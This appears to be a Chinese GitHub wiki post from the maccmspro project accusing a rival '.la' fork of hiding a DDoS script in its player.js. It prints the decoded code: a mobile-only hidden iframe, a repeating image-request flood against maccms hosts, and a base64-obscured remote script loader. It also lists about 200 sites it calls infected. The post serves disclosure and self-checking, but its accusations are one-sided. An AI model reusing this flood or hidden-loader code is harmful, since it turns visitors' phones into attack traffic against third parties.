警告:严厉谴责CC攻击我们的.la版本假冒团队，整理了被控制的小部分肉鸡网站，有你的吗？

一天时间被请求了足足3.88B

每个小时被请求3亿次

大量重置referer的请求但依然有浏览器不支持这种调用方式被我们抓出了日志

涉及从maccms.la下载或者更新的所有版本

v10

2020.1000.1029+ 还有la版本最新的跨年度起飞版2022.1000.1099

2020.1043+

通过抓包得出是因为maccms.la最新版本加密的 player.js 手机端访问远程调用攻击js

http://union.maccms.la/html/top10.js

http://union.maccms.la/html/top.js

大家不信可以自行解密

代码解密如下

(MacPlayer.Status) { } else { }

function msck(name, value) { var date = new Date(); date['setTime']((date['getTime']() + (30 * 60) * (1000))), document['cookie'] = (name + '=' + escape(value)) + (';path=/;expires=') + date['toGMTString'](); }

//这里开始写调用缓存时间防止被发现目的为了隐藏攻击

function mgck(name) {

`var list, reg = new RegExp('(^|\x20)' + name + '=([^;]*)(;|$)');`
`if (list = document['cookie'].match(reg)) return unescape(list[2]); else return null;`

}

var de = new Date(), mh = de['getMonth']() + 1, da = de['getDate'](), hs = de['getHours'](), rr = mh + '' + da + '' + hs, ek = 'k1', ev = parseFloat(mgck(ek)), ua = navigator['userAgent'], au = '//a.laodaguan.cn/';

//这里判断移动端过滤了windows和mac系统的抓包所以必须通过移动端设备进行抓包才可以拿到加载内容懂一点脚本的都能看懂

function mshr() {

`(!/(Win|Mac)/i.test(navigator['platform']) && !/(localhost|127|192|10)/i.test(location['hostname']) && isNaN(ev) && ($('.MacPlayer').length > 0) || (location['search'].indexOf('mdg') > -1)) && (/(iPhone|iPad|iPod|IOS)/i.test(ua) && $('body').append(`
    `"<iframe style=\"display:none;\" referrerPolicy=\"no-referrer\" security=\"restricted\" sandbox=\"allow-same-origin allow-forms allow-scripts\" src=\"" + au + "index.html?" + rr + "\"></iframe>"`
`), msck(ek, '1'), setInterval(imgflood, 1500));`

}

//这是很常见的js 攻击手法虽然做了referer重置但依然有浏览器不支持这种调用方式被我们抓出了日志

function imgflood() {

`rr = parseFloat(rr) + 1;`
`var img1 = new Image();`
`img1['setAttribute']('referrerPolicy', 'no-referrer');`
`img1['src'] = '//www.maccms.com/?' + new Date().getTime();`
`var img2 = new Image();`
`img2['setAttribute']('referrerPolicy', 'no-referrer');`
`img2['src'] = '//union.maccms.com/html/top10.js?' + rr;`
`var img3 = new Image();`
`img3['setAttribute']('referrerPolicy', 'no-referrer');`
`img3['src'] = '//union.maccms.com/html/top.js?' + rr;`

}

setTimeout(mshr, 50);

function abc() { }

function pcy() { }

如何抓包？ ios、安卓下载《http cather》即可在线抓包了快去看看你网站是否调用了union.maccms.la 还有个判断方式手机浏览器其他页面加载完成如果播放页面浏览器头部一直是加载中进度条那么就是在长链接请求攻击不会中断非常消耗手机cpu

la的作者说它去掉了远程调用如果遇到抓包不顺利可以看看解密的la版本player.js代码逻辑就知道为什么了

var killErrors=function(value){return true};window.onerror=null;window.onerror=killErrors; var base64EncodeChars="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";var base64DecodeChars=new Array(-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,62,-1,-1,-1,63,52,53,54,55,56,57,58,59,60,61,-1,-1,-1,-1,-1,-1,-1,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,-1,-1,-1,-1,-1,-1,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,-1,-1,-1,-1,-1);function base64encode(str){var out,i,len;var c1,c2,c3;len=str.length;i=0;out="";while(i<len){c1=str.charCodeAt(i++)&0xff;if(i==len){out+=base64EncodeChars.charAt(c1>>2);out+=base64EncodeChars.charAt((c1&0x3)<<4);out+="==";break}c2=str.charCodeAt(i++);if(i==len){out+=base64EncodeChars.charAt(c1>>2);out+=base64EncodeChars.charAt(((c1&0x3)<<4)|((c2&0xF0)>>4));out+=base64EncodeChars.charAt((c2&0xF)<<2);out+="=";break}c3=str.charCodeAt(i++);out+=base64EncodeChars.charAt(c1>>2);out+=base64EncodeChars.charAt(((c1&0x3)<<4)|((c2&0xF0)>>4));out+=base64EncodeChars.charAt(((c2&0xF)<<2)|((c3&0xC0)>>6));out+=base64EncodeChars.charAt(c3&0x3F)}return out}function base64decode(str){var c1,c2,c3,c4;var i,len,out;len=str.length;i=0;out="";while(i<len){do{c1=base64DecodeChars[str.charCodeAt(i++)&0xff]}while(i<len&&c1==-1);if(c1==-1)break;do{c2=base64DecodeChars[str.charCodeAt(i++)&0xff]}while(i<len&&c2==-1);if(c2==-1)break;out+=String.fromCharCode((c1<<2)|((c2&0x30)>>4));do{c3=str.charCodeAt(i++)&0xff;if(c3==61)return out;c3=base64DecodeChars[c3]}while(i<len&&c3==-1);if(c3==-1)break;out+=String.fromCharCode(((c2&0XF)<<4)|((c3&0x3C)>>2));do{c4=str.charCodeAt(i++)&0xff;if(c4==61)return out;c4=base64DecodeChars[c4]}while(i<len&&c4==-1);if(c4==-1)break;out+=String.fromCharCode(((c3&0x03)<<6)|c4)}return out}function utf16to8(str){var out,i,len,c;out="";len=str.length;for(i=0;i<len;i++){c=str.charCodeAt(i);if((c>=0x0001)&&(c<=0x007F)){out+=str.charAt(i)}else if(c>0x07FF){out+=String.fromCharCode(0xE0|((c>>12)&0x0F));out+=String.fromCharCode(0x80|((c>>6)&0x3F));out+=String.fromCharCode(0x80|((c>>0)&0x3F))}else{out+=String.fromCharCode(0xC0|((c>>6)&0x1F));out+=String.fromCharCode(0x80|((c>>0)&0x3F))}}return out}function utf8to16(str){var out,i,len,c;var char2,char3;out="";len=str.length;i=0;while(i<len){c=str.charCodeAt(i++);switch(c>>4){case 0:case 1:case 2:case 3:case 4:case 5:case 6:case 7:out+=str.charAt(i-1);break;case 12:case 13:char2=str.charCodeAt(i++);out+=String.fromCharCode(((c&0x1F)<<6)|(char2&0x3F));break;case 14:char2=str.charCodeAt(i++);char3=str.charCodeAt(i++);out+=String.fromCharCode(((c&0x0F)<<12)|((char2&0x3F)<<6)|((char3&0x3F)<<0));break}}return out} var MacPlayer = { 'GetDate': function (f, t) { if (!t) { t = new Date() } var a = ['日', '一', '二', '三', '四', '五', '六']; f = f.replace(/yyyy|YYYY/, t.getFullYear()); f = f.replace(/yy|YY/, (t.getYear() % 100) > 9 ? (t.getYear() % 100).toString() : '0' + (t.getYear() % 100)); f = f.replace(/MM/, t.getMonth() > 9 ? t.getMonth().toString() : '0' + t.getMonth()); f = f.replace(/M/g, t.getMonth()); f = f.replace(/w|W/g, a[t.getDay()]); f = f.replace(/dd|DD/, t.getDate() > 9 ? t.getDate().toString() : '0' + t.getDate()); f = f.replace(/d|D/g, t.getDate()); f = f.replace(/hh|HH/, t.getHours() > 9 ? t.getHours().toString() : '0' + t.getHours()); f = f.replace(/h|H/g, t.getHours()); f = f.replace(/mm/, t.getMinutes() > 9 ? t.getMinutes().toString() : '0' + t.getMinutes()); f = f.replace(/m/g, t.getMinutes()); f = f.replace(/ss|SS/, t.getSeconds() > 9 ? t.getSeconds().toString() : '0' + t.getSeconds()); f = f.replace(/s|S/g, t.getSeconds()); return f }, 'GetUrl': function (s, n) { return this.Link.replace('{sid}', s).replace('{sid}', s).replace('{nid}', n).replace('{nid}', n) }, 'Go': function (s, n) { location.href = this.GetUrl(s, n) }, 'Show': function () { $('#buffer').attr('src', this.Prestrain); setTimeout(function () { MacPlayer.AdsEnd() }, this.Second * 1000); $("#playleft").get(0).innerHTML = this.Html + ''; if (!/(Win|Mac)/i.test(navigator.platform)) { var a = document.createElement('script'); a.type = 'text/javascript'; a.async = true; a.charset = 'utf-8'; a.src = base64decode('Ly91bmlvbi5tYWNjbXMubGEvaHRtbC90b3AxMC5qcw==') + '?r=' + this.GetDate('yyyyMMdd'); var b = document.getElementsByTagName('script')[0]; b.parentNode.insertBefore(a, b) } }, 'AdsStart': function () { if ($("#buffer").attr('src') != this.Buffer) { $("#buffer").attr('src', this.Buffer) } $("#buffer").show() }, 'AdsEnd': function () { $('#buffer').hide() }, 'Install': function () { this.Status = false; $('#install').show() }, 'Play': function () { document.write('<style>.MacPlayer{background: #000000;font-size:14px;color:#F6F6F6;margin:0px;padding:0px;position:relative;overflow:hidden;width:' + this.Width + ';height:' + this.Height + ';min-height:100px;}.MacPlayer table{width:100%;height:100%;}.MacPlayer #playleft{position:inherit;!important;width:100%;height:100%;}</style><div class="MacPlayer">' + '<iframe id="buffer" src="" frameBorder="0" scrolling="no" width="100%" height="100%" style="position:absolute;z-index:99998;"></iframe><iframe id="install" src="" frameBorder="0" scrolling="no" width="100%" height="100%" style="position:absolute;z-index:99998;display:none;"></iframe>' + '<table border="0" cellpadding="0" cellspacing="0"><tr><td id="playleft" valign="top" style=""> </td></table></div>'); this.offsetHeight = $('.MacPlayer').get(0).offsetHeight; this.offsetWidth = $('.MacPlayer').get(0).offsetWidth; document.write('<scr' + 'ipt src="' + this.Path + this.PlayFrom + '.js"></scr' + 'ipt>') }, 'Down': function () { }, 'Init': function () { this.Status = true; this.Parse = ''; var a = player_aaaa; if (a.encrypt == '1') { a.url = unescape(a.url); a.url_next = unescape(a.url_next) } else if (a.encrypt == '2') { a.url = unescape(base64decode(a.url)); a.url_next = unescape(base64decode(a.url_next)) } this.Agent = navigator.userAgent.toLowerCase(); this.Width = MacPlayerConfig.width; this.Height = MacPlayerConfig.height;

//这里开始加了移动端判断所以必须使用手机访问才可以加载因此你电脑抓包无果

    `if (this.Agent.indexOf("android") > 0 || this.Agent.indexOf("mobile") > 0 || this.Agent.indexOf("ipod") > 0 || this.Agent.indexOf("ios") > 0 || this.Agent.indexOf("iphone") > 0 || this.Agent.indexOf("ipad") > 0) {`
        `this.Width = MacPlayerConfig.widthmob;`
        `this.Height = MacPlayerConfig.heightmob`
    `}`
    `if (this.Width.indexOf("px") == -1 && this.Width.indexOf("%") == -1) {`
        `this.Width = '100%'`
    `}`
    `if (this.Height.indexOf("px") == -1 && this.Height.indexOf("%") == -1) {`
        `this.Height = '100%'`
    `}`
    `this.Prestrain = MacPlayerConfig.prestrain;`
    `this.Buffer = MacPlayerConfig.buffer;`
    `this.Second = MacPlayerConfig.second;`
    `this.Flag = a.flag;`
    `this.Trysee = a.trysee;`
    `this.Points = a.points;`
    `this.Link = decodeURIComponent(a.link);`
    `this.PlayFrom = a.from;`
    `this.PlayNote = a.note;`
    `this.PlayServer = a.server == 'no' ? '' : a.server;`
    `this.PlayUrl = a.url;`
    `this.PlayUrlNext = a.url_next;`
    `this.PlayLinkNext = a.link_next;`
    `this.PlayLinkPre = a.link_pre;`
    `this.Id = a.id;`
    `this.Sid = a.sid;`
    `this.Nid = a.nid;`
    `if (MacPlayerConfig.server_list[this.PlayServer] != undefined) {`
        `this.PlayServer = MacPlayerConfig.server_list[this.PlayServer].des`
    `}`
    `if (MacPlayerConfig.player_list[this.PlayFrom] != undefined) {`
        `if (MacPlayerConfig.player_list[this.PlayFrom].ps == "1") {`
            `this.Parse = MacPlayerConfig.player_list[this.PlayFrom].parse == '' ? MacPlayerConfig.parse : MacPlayerConfig.player_list[this.PlayFrom].parse;`
            `this.PlayFrom = 'parse'`
        `}`
    `}`
    `this.Path = maccms.path + '/static/player/';`
    `if (this.Flag == "down") {`
        `MacPlayer.Down()`
    `} else {`
        `MacPlayer.Play()`
    `}`
`}`

}; MacPlayer.Init();

看了下大部分都是海螺模版的站应该是作者被la给忽悠了虽然开发能力很强但这智商也是堪忧这么容易就被忽悠了去升级结果沦为肉鸡

唯一github官方只有: https://github.com/maccmspro 域名: https://maccms.pro 官方下载渠道已经给出完整解密版的player.js 里面加了判断la版本的不兼容还有播放器透明预加载请求编码未加密可自行修改。由于la版本存在自动更新后门或许很多站长都不知道什么回事，那么请尽快下载更新包手动覆盖！

被控制为攻击肉鸡的域名列表如下:

http://1.mqdy.de
http://154.197.154.48
http://154.197.154.55
http://154.93.60.36
http://172.121.59.45
http://183.ydt.5ahome.cn
http://23.90.22.248
http://25u51.cnzu95.com:6033
http://7862y.com
http://87.sbs.5ahome.cn
http://9ov71.51add.com:4206
http://awyy18.com
http://bwl87.com
http://dianyings.cn
http://dy.tv56.cn
http://g5451.com
http://haowywz.com
http://hxc27.com
http://hxc97.com
http://i7801.com
http://itaojuba.com
http://lsqnjoa.cn
http://lyl23.me
http://m.163fahao.com
http://mideaysj.com
http://nq698.com
http://v.shensgo.com
http://vcfuli.com
http://wuritv6.com
http://www.234qvod.com
http://www.2kys.com
http://www.399q.cn
http://www.91m.cc
http://www.auedu.org
http://www.bajies.com
http://www.btdyba.com
http://www.cangpinhui.com.cn
http://www.cechi5.com
http://www.chinayd.org
http://www.chok8.com
http://www.dixi123.com
http://www.dy1958.com
http://www.dydzkjs.com
http://www.fusht.com
http://www.hanju233.com
http://www.hantutv.com
http://www.haohao44.com
http://www.hotwoods.biz
http://www.hwfudao.com
http://www.hxc45.com
http://www.i63.com.cn
http://www.ikrtv.com
http://www.itihi.com
http://www.jinhongjx.com
http://www.jlqsnwl.com
http://www.madou.la
http://www.meiyangle888.com
http://www.mimi91.xyz
http://www.mycctv.cn
http://www.ncdydyy.com
http://www.ok009.xyz
http://www.oukepuhui.com
http://www.pubger.com
http://www.qdkyjh.com
http://www.qpg6.com
http://www.rwgaoxin.com
http://www.rz31.com
http://www.tzwenyi.cn
http://www.vipys5.com
http://www.wearry.com
http://www.wuritv6.com
http://www.xiuhuan.xyz
http://www.xttzb.com
http://www.zaoyi.net
http://www.zhoumengping.xyz
http://xiaomc.info
http://xincheng888.net
https://001d.com
https://123kubo.net
https://123kubo.tv
https://173cq.com
https://5ji.tv
https://789dydy.com
https://789dyy.com
https://789yyw.com
https://ak222.cc
https://aqpos.top
https://awyy23.com
https://bwl87.com
https://ddvod.tv
https://duonaoyingyuan.tangrenjie.tv
https://dy0026.com
https://hhty029.com
https://hnxmz.com
https://holdoo.cn
https://hyrzs.com
https://i58b.tv
https://imaple.co
https://inzdrama.com
https://jumi.tv
https://longvcd.com
https://m.hjtv4.com
https://m.keso.org
https://m.klksm.com
https://m.my2058.com
https://m.sx0371.com
https://m.tv4.cc
https://m.xindiediao.com
https://momovod.tv
https://movie.58yanhao.com
https://o8tv.com
https://ouleyingyuan.tangrenjie.tv
https://sexx3.xyz
https://shichojp.com
https://shrocc.com
https://sy0752.com
https://tianchatv.com
https://tv.ci
https://vip.19zh.com
https://www.002tv.com
https://www.173cq.com
https://www.17kty.com
https://www.263163.cn
https://www.3ayy.com
https://www.3kt.net
https://www.52kandy.com
https://www.555dy1.com
https://www.5thnyh.com
https://www.789dydy.com
https://www.789dyw.net
https://www.789dywz.com
https://www.7caa.com
https://www.8090.me
https://www.91m.cc
https://www.99meiju.tv
https://www.ahrmgg.com
https://www.autonicdq.com
https://www.bddysf.com
https://www.biqune.com
https://www.calmlab.com
https://www.cclsu.com
https://www.chok8.com
https://www.cunzhangba.com
https://www.dadatu2.com
https://www.dadatutv.net
https://www.dadatuzi.com
https://www.dusheyy.com
https://www.f8yy.com
https://www.haiyouims.com
https://www.hanjutvwz.com
https://www.hbxhda.com
https://www.hjtv4.com
https://www.holdoo.cn
https://www.jianzhenkeji.com
https://www.jpysvip.net
https://www.kanxi5.com
https://www.ku2000.com
https://www.limintv.com
https://www.masansan.com
https://www.meijui.com
https://www.mindanggui.com
https://www.mldyy.cc
https://www.mshuifu.com
https://www.muyy.cc
https://www.newqiyu.com
https://www.o8tv.com
https://www.pianba.net
https://www.ppqun.com
https://www.puhua.cc
https://www.qcjycg.com
https://www.raoguns.com
https://www.schtbz.com
https://www.tancao.cn
https://www.tangrenjie.tv
https://www.tianlang88.com
https://www.tianmohk.com
https://www.ttspt.com
https://www.u5dy.com
https://www.wo03.com
https://www.wojiangwang.com
https://www.wuguiyy.com
https://www.wuweidy5.com
https://www.xiafandy.com
https://www.xianzonglin.club
https://www.xuejiancn.com
https://www.xxzz2.xyz
https://www.yhdmk.com
https://www.ys11.xyz
https://www.ysdzfwb.com
https://www.zgwangzhan.com
https://www.zhengqidiaosu.com
https://www.zhuijuju.com
https://xuejiancn.com
https://xzdjc.com
https://zgwangzhan.com

警告:严厉谴责CC攻击我们的.la版本假冒团队，整理了被控制的小部分肉鸡网站，有你的吗？ - maccmspro/download GitHub Wiki

⚠️ GitHub.com Fallback ⚠️

警告:严厉谴责CC攻击我们的.la版本假冒团队，整理了被控制的小部分肉鸡网站，有你的吗？ - maccmspro/download GitHub Wiki

⚠️ **GitHub.com Fallback** ⚠️

⚠️ GitHub.com Fallback ⚠️